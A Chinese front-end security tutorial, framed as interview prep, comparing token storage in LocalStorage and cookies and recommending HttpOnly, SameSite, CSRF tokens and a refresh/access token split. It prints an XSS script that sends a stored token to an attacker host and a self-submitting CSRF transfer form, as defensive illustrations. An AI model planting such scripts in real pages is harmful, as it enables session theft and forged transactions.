Token 放在 LocalStorage 里会被 XSS,那放在 Cookie 里就真的安全吗?

AI 概述
Token存储位置在前端开发中备受争议,主要选择为LocalStorage和Cookie。LocalStorage使用简单但易受XSS攻击,因JS可完全访问;Cookie机制复杂,但HttpOnly属性可防XSS读取。然而,Cookie易引入CSRF风险,因浏览器会自动携带其发起请求。最佳实践方案包括:使用HttpOnly Cookie配合SameSite属性和CSRF Token防御CSRF;或采用Refresh Token(存储在HttpOnly Cookie中)加Access Token(存储在内存中)的模式,该模式能有效防XSS和CSRF,尤其适合前后端分离应用。
目录
文章目录隐藏
  1. LocalStorage 的安全风险
  2. Cookie 的安全机制
  3. Cookie 的 CSRF 风险
  4. 最佳实践方案
  5. 总结
  6. 面试回答建议

Token 放在 LocalStorage 里会被 XSS,那放在 Cookie 里就真的安全吗?

前端开发中,Token 的存储位置一直是一个备受争议的话题。主要有两种选择:

  1. LocalStorage:使用方便,但存在安全隐患。
  2. Cookie:机制复杂,但提供了一些安全属性。

面试中常问的问题是:“LocalStorage容易受到 XSS 攻击,Cookie容易受到 CSRF 攻击,那么到底应该如何安全地存储 Token?”

LocalStorage 的安全风险

将 Token 存储在 localStorage 是常见的做法,因为使用简单。

// 存
localStorage.setItem('token', 'eyJhbGciOiJIUz...');

// 取
const token = localStorage.getItem('token');
fetch('/api/data', {
    headers: { Authorization: `Bearer ${token}` }
});

然而,localStorage 的设计允许 JavaScript 代码完全访问。这意味着,如果网站存在 XSS(跨站脚本攻击)漏洞,攻击者可以通过注入恶意脚本直接读取 Token。

XSS 攻击示例:如果页面未对用户输入进行过滤,攻击者可能注入以下脚本:

<script>
  // 攻击者脚本
  fetch('http://aa.com/steal?cookie=' + localStorage.getItem('token'));
</script>

只要用户访问了包含恶意脚本的页面,Token 就会被发送到攻击者的服务器。由于 JS 对LocalStorage拥有完全读写权限,且没有类似于 Cookie 的访问控制机制,因此这种存储方式在 XSS 面前非常脆弱。

Cookie 的安全机制

很多人认为 Cookie 不安全,这通常是因为配置不当。 Cookie 有一个关键的安全属性:HttpOnly

当 Cookie 设置了HttpOnly属性后:

  1. 禁止 JS 读取:document.cookie无法获取该Cookie
  2. 自动发送:浏览器在发起请求时会自动携带该Cookie

后端设置 HttpOnly Cookie (Go 示例):

http.SetCookie(w, &http.Cookie{
    Name:     "access_token",
    Value:    "eyJhbGciOiJIUz...",
    HttpOnly: true,  // 禁止 JavaScript 读取
    Secure:   true,  // 仅通过 HTTPS 传输
    Path:     "/",
})

在这种配置下,即使网站存在 XSS 漏洞,攻击者的脚本也无法读取 Token。虽然攻击者可能通过脚本发起请求(因为浏览器会自动带上 Cookie),但他无法直接获取 Token 字符串,从而无法将其用于其他用途。

Cookie 的 CSRF 风险

使用 HttpOnly Cookie 虽然防范了 XSS 读取 Token,但引入了 CSRF (跨站请求伪造) 风险。

CSRF 攻击原理:浏览器会自动在请求中携带 Cookie,无论该请求是由用户在当前网站发起的,还是由第三方恶意网站发起的。

场景模拟:

  1. 用户登录了 a.com,Token 存储在 Cookie 中。
  2. 用户访问了恶意网站 aa.com。
  3. 恶意网站包含以下代码:
    <!-- 恶意网站上的代码 -->
    <form action="http://a.com/transfer" method="POST">
        <input type="hidden" name="to" value="hacker" />
        <input type="hidden" name="amount" value="10000" />
    </form>
    <script>document.forms[0].submit();</script>
    
  4. 浏览器向 a.com 发送请求时,会自动附带用户的 Cookie。
  5. a.com 服务器接收到请求,验证 Cookie 有效,执行了转账操作。

这就是 CSRF 攻击的核心:利用浏览器的自动携带 Cookie 机制,冒充用户发起请求。

最佳实践方案

为了同时防范 XSS 和 CSRF,可以采取以下组合方案。

方案一:Cookie (HttpOnly) + SameSite + CSRF Token

这是传统的防御方式。

  1. HttpOnly:防止 XSS 攻击读取 Token。
  2. SameSite=Strict/Lax:限制第三方网站发起的请求携带 Cookie。
    // Go 设置 SameSite
    http.SetCookie(w, &http.Cookie{
        Name:     "token",
        Value:    "...",
        HttpOnly: true,
        SameSite: http.SameSiteLaxMode, // 限制跨站发送
    })
    
  3. CSRF Token:前端在请求 Header 中携带一个自定义的 Token(如 X-CSRF-Token)。由于 CSRF 攻击无法构造自定义 Header(受同源策略限制),这提供了额外的保护。

方案二:Refresh Token (Cookie) + Access Token (内存)

这是现代单页应用(SPA)推荐的方案:

  1. Refresh Token存储在HttpOnly Cookie中(设置较长过期时间)。
  2. Access Token存储在 内存变量 中(JavaScript 变量)。

工作流程:

  1. 登录成功后,后端设置refresh_tokenHttpOnly Cookie
  2. 后端返回access_token在 JSON 响应体中。
  3. 前端access_token保存在变量中。
  4. 发起请求时,使用变量中的access_token设置Authorization Header
  5. access_token过期或页面刷新(导致内存变量丢失)时,前端调用/refresh接口。
    • 浏览器自动携带 Cookie 中的refresh_token
    • 后端验证通过,返回新的access_token

方案优势:

  • 防 XSS:refresh_token无法被 JS 读取(HttpOnly)。access_token虽然在内存中可能被读取,但其生命周期短,且攻击者必须在当前页面会话中才能获取。
  • 防 CSRF:access_token通过Authorization Header发送,浏览器不会自动携带,天然免疫 CSRF。

总结

存储方式 XSS 风险 CSRF 风险 推荐程度 适用场景
LocalStorage 高 (直接读取) 无 (需手动发送) 非敏感数据
普通 Cookie 高 (可被读取) 有 (自动发送) 不推荐
HttpOnly Cookie 低 (不可读取) 有 (自动发送) 服务端渲染 (SSR)
HttpOnly Cookie + SameSite 大部分 Web 应用
内存(Access) + Cookie(Refresh) 最低 最低 极高 前后端分离应用

面试回答建议

在回答此问题时,应重点阐述以下观点:

  1. LocalStorage 的缺陷:由于缺乏访问控制,完全暴露给 JavaScript,存在无法避免的 XSS 风险。
  2. Cookie 的特性:虽然有 CSRF 风险,但可以通过HttpOnly防止 XSS,通过SameSite和 CSRF Token 防止 CSRF。
  3. 结论:在涉及敏感数据的场景下,HttpOnly Cookie配合适当的 CSRF 防御措施,或者采用 Refresh Token (Cookie) + Access Token (内存) 的模式,是更安全、更为专业的选择。

以上关于Token 放在 LocalStorage 里会被 XSS,那放在 Cookie 里就真的安全吗?的文章就介绍到这了,更多相关内容请搜索码云笔记以前的文章或继续浏览下面的相关文章,希望大家以后多多支持码云笔记。

「点点赞赏,手留余香」

0

给作者打赏,鼓励TA抓紧创作!

微信微信 支付宝支付宝

还没有人赞赏,快来当第一个赞赏的人吧!

声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若内容造成侵权/违法违规/事实不符,请将相关资料发送至 admin@mybj123.com 进行投诉反馈,一经查实,立即处理!
重要:如软件存在付费、会员、充值等,均属软件开发者或所属公司行为,与本站无关,网友需自行判断
码云笔记 » Token 放在 LocalStorage 里会被 XSS,那放在 Cookie 里就真的安全吗?

发表回复